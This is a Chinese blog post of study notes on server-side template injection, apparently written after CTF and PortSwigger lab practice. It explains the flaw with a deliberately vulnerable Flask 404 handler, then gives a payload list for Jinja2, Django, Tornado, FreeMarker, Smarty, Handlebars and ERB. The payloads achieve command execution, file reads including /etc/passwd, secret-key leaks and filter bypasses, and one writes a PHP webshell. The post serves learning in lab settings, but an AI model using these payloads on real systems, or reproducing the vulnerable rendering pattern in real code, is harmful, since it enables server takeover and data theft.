ssti

ssti

我之前在做了几道题之后写了一篇只包含python环境的ssti的总结,后来刷portswigger lab的时候才发觉自己先入为主了,所以决定重新写一篇。

因本人技术浅薄,只对见过的几个模板做简单介绍,如果想看有深度的文章,可以直接去看参考里的最后一个。

ssti不仅仅存在于python中

ssti成因

服务端在接收用户输入或用户可控参数后,未作处理或未进行严格过滤,直接嵌入模板渲染,导致执行恶意代码。

拿python-jinja2举个例子吧

@app.route('/')
def hello_world():
  return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
  template = '''
    <div class="center-content error">
    <h1>%s Not Found!</h1>
    </div>

    ''' % (request.url)
  return render_template_string(template), 404

if __name__ == '__main__':
  app.run()

在这段代码中:

​ 如果请求的url不存在,会返回404页面

​ 404页面的内容模板template包含request.url

​ 返回时调用了render_template_string(template)函数,而这个函数会调用jinja2模板引擎对template进行渲染,如果request.url中含有模板语句,将 会执行、渲染,然后返回

​ 但这个例子有特殊性,在该环境下要想利用ssti,必须要有%格式化字符串,就是template='''xxxxx'''%(request.url)这一部分,如果把template部分写 成了单独的html文件,那么将无法实现

例如:

  • 请求:xxxx.xxx/{{ 10*10 }}
  • 返回:xxxx.xxx/{{ 100 }} Not Found!

ssti利用思路

  • 确定模板引擎
    • 修改参数,看报错信息
    • 看模板语法
  • 根据引擎寻找/构造payload
    • 构造payload的思路
      • 寻找可用对象(比如字符串、字典,或者已给出的对象)
      • 通过可用对象寻找原生对象(object)
      • 利用原生对象实例化目标对象(比如os)
      • 执行代码
  • 如果手工有困难,或者工作量比较大,可用使用tqlmap代替

ssti-payload

1-python

  • fuzz
    • {{6*6}}

flask(jinja2)

  • 查看文件夹

    • {{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}这里的./是路径
  • 读取文件

    • {{''.__class__.__mro__[-1].__subclasses__()[40]('filename').read()}}

    • ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

    • request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')

  • RCE

    • object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
  • 查看配置项

    • {{ url_for.__globals__['current_app'].config['FLAG']}
  • bypass

django

  • 查看配置项
    • {{settings}} (settings.SECRET_KEY)
    • {{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}}

tornado

  • 查看设置常量
    • {{handler.settings}}
  • RCE
    • {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('ls').read() }}

2-java

freemarker

  • RCE
    • <#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}
  • 沙盒逃逸+ 文件读取
    • ${object.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

3-php

smarty

  • 读取文件
    • {self::getStreamVariable("file:///proc/self/loginuid")}
  • 写入文件
    • {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

4-javascript

handlebars

  • RCE

    • {{#with "s" as |string|}}
        {{#with "e"}}
          {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
              {{this.pop}}
              {{this.push "return require('child_process').exec('rm morale.txt');"}}
              {{this.pop}}
              {{#each conslist}}
                {{#with (string.sub.apply 0 codelist)}}
                  {{this}}
                {{/with}}
              {{/each}}
            {{/with}}
          {{/with}}
        {{/with}}
      {{/with}}
      

5-Ruby

ERB

  • RCE
    • <%= exec 'ls' %>

参考

posted @ 2020-04-21 18:13  R3col  阅读(1082)  评论(0编辑  收藏  举报